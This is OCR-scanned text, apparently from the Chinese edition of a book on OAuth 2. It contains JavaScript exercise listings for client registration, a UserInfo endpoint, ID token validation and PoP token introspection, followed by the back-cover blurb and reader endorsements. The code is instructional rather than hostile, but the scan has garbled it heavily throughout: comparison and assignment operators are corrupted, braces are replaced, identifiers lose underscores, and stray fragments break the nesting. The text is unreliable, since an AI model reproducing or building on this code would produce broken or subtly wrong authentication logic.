if (typeof(req.body.logo uri) -- 'string') ( 
reg.logo uri - req.body.logo uri; 


if (typeof(req.body.scope) -- 'string') ( 
reg.scope - req.body.scope; 


reg.client id - randomstring.generate(); 


if (  .contains(['client secret basic', 'client secret post']), reg.token 
endpoint auth method) ( 
reg.client secret - randomstring.generate(); 


reg.client, id created at = Math.floor(Date.now() / 1000); 
reg.client secret expires at = 0; 





clients.push(reg); 
res.status(201).json(reg); 


return; 


)); 


代码 清单 14 — UserInfo 端点 ( 第 13 章 练 习 1) 


var userInfoEndpoint = function(req, res) ( 


if (! .contains(req.access token.scope, 'openid')) ( 
res.status(403).end(); 
return; 


var user - req.access token.user; 

if (!user) ( 
res.status(404).end(); 
return; 
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var Out e 
. .each(req.access token.scope, function (scope) { 
if (scope -- 'openid') ( 
. .each(['sub'], function(claim) ( 
if (user[claim]) ( 
out[claim] = user[claim]; 
} 
Es 
) else if (scope -- 'profile') ( 
. .each(['name', 'family name', 'given name', 'middle name', 
'nickname', 'preferred username', 'profile', 'picture', 
'website', 'gender', 'birthdate', 'zoneinfo', 'locale', 
'updated at'], function(claim) ( 
if (user[claim]) ( 
out[claim] = user[claim]; 
} 
)); 
) else if (scope -- 'email') ( 
. .each(['email', 'email verified'], function(claim) ( 
if (user[claim]) { 
out[claim] = user[claim]; 
} 
Fia 
} else if (scope == 'address') { 
. .each(['address'], function(claim) ( 
if (user[claim]) ( 
out[claim] = user[claim]; 
} 
)); 
) else if (scope -- 'phone') ( 
. .each(['phone number', 'phone number verified'], 
function(claim) ( 
if (user[claim]) ( 
out[claim] = user[claim]; 


hr 
res.status(200).json(out); 


return; 


un 


代码 清单 15 处理 了 D 令 牌 (第 13 章 练习 1) 
if (body.id token) { 
userInfo - null; 


id token - null; 


console.log('Got ID token: $s', body.id token); 
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var pubKey = jose.KEYUTIL.getKey (rsaKey); 

var tokenParts = body.id token.split('.'); 

var payload = JSON.parse(base64url.decode(tokenParts[1])); 
console.log('Payload', payload); 


if (jose.jws.JWS.verify (body.id token, pubKey, [rsaKey.alg])) ( 
console.log('Signature validated.'); 
if (payload.iss -- 'http://localhost:9001/') ( 
console.log('issuer OK'); 
if ((Array.isArray (payload.aud) && | .contains(payload.aud, 
client.client id)) | 
payload.aud == client.client id) ( 


console.log('Audience OK'); 
var now - Math.floor(Date.now() / 1000); 


if (payload.iat «- now) ( 
console.log('issued-at OK'); 
if (payload.exp »- now) ( 
console.log('expiration OK'); 


console.log('Token valid!'); 


id token - payload; 


j 
res.render('userinfo', (userInfo: userInfo, id token: id token])); 
return; 


代码 清单 16 ”内 省 并 验证 PoP 令 牌 (第 15 章 练习 1) 


Var getAccessToken = function(req, res, next) ( 

var auth - req.headers['authorization']; 

var inToken - null; 

if (auth && auth.toLowerCase().indexOf('pop') -- 0) ( 
inToken = auth.slice('pop '.length); 

) else if (req.body && req.body.pop access token) ( 
inToken - req.body.pop access token; 

) else if (req.query && req.query.pop access token) ( 
inToken - req.query.pop access token 


console.log('Incoming PoP: $s', inToken); 
var tokenParts = inToken.split('.'); 

var header = JSON.parse(baseó64url.decode(tokenParts[0])); 
var payload = JSON.parse(base64url.decode(tokenParts[1])); 


console.log('Payload', payload); 


var at - payload.at; 
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console.log('Incmoing access token: $s', at); 


var form data = qs.stringify(( 
token: at 
)); 


var headers - ( 
'Content-Type': 'application/x-www-form-urlencoded', 
'Authorization': 'Basic ' + 


encodeClientCredentials (protectedResource.resource id, 
protectedResource.resource secret) 
Js 


var tokRes = request('POST', authServer.introspectionEndpoint, { 
body: form data, 
headers: headers 

s 


if (tokRes.statusCode »- 200 && tokRes.statusCode « 300) ( 
var body - JSON.parse(tokRes.getBody()); 


console.log('Got introspection response', body); 

var active - body.active; 

if (active) ( 

var pubKey - jose.KEYUTIL.getKey (body.access token key); 

if (jose.jws.JWS.verify(inToken, pubKey, [header.alg])) ( 
console.log('Signature is valid'); 


if (!payload.m || payload.m == req.method) ( 
if (!payload.u || payload.u == 
'localhost:9002') ( 
if (!payload.p || payload.p == req.path) 


( 


console.log('All components 
matched'); 


req.access token - ( 
access token: at, 
Scope: body.scope 
un 


) 
next(); 
return; 
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OAuth 是 互联 网 公司 广泛 使 用 的 授权 协议 ， 守 殷 着 全 球 不 计 其 数 的 Web API 

看 似 无 所 不 能 的 它 ， 却 因为 高 度 的 灵活 性 而 很 难 驾驭 。 本 书 从 实战 角度 出 发 ， 带 你 

领略 OAuth 生 态 系统 的 秀美 风光 ， 并 学 会 自己 构建 安全 的 客户 端 、 受 保护 资源 和 授 
权 服 务 器 ， 透 彻 理解 OAuth 2 的 实现 和 部 署 流程 ， 不 仅 知 其 然 ， 还 知 其 所 以 然 。 


本 书 重点 讲解 以 下 内 容 。 
@ OAuth 2 的 设计 理念 和 重要 性 。 @ 针 对 OAuth 令 牌 和 授权 码 的 常见 攻击 
@ 构 建 OAuth 2 生态 系统 外 动态 客户 端 注册 


@ OAuth 2 生态 系统 的 常见 漏洞 





非常 实用 ， 告 诉 我 们 什么 该 做 ， 什 么 不 该 做 。 
— lan Glazer, Salesforce 公 司 身份 管理 高 级 总 监 


这 本 书 的 深度 和 广度 令 人 折服 ， 推 荐 所 有 Web 开 发 人 员 都 看 看 
—— Thomas O'Rourke, 软件 工程 师 


内 容 简 洁 、 结 构 清 晰 ， 让 我 对 OAuth 有 了 透彻 了 解 
—— Roy Folkker, 亚马逊 读者 
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看 完了 


如 果 您 对 本 书 内 容 有 疑问 ， 可 发 邮件 至 contact@turingbook.com， 会 有 编辑 或 作 
译 者 协助 答疑 。 也 可 访问 图 灵 社 区 ， 参 与 本 书 讨论 。 
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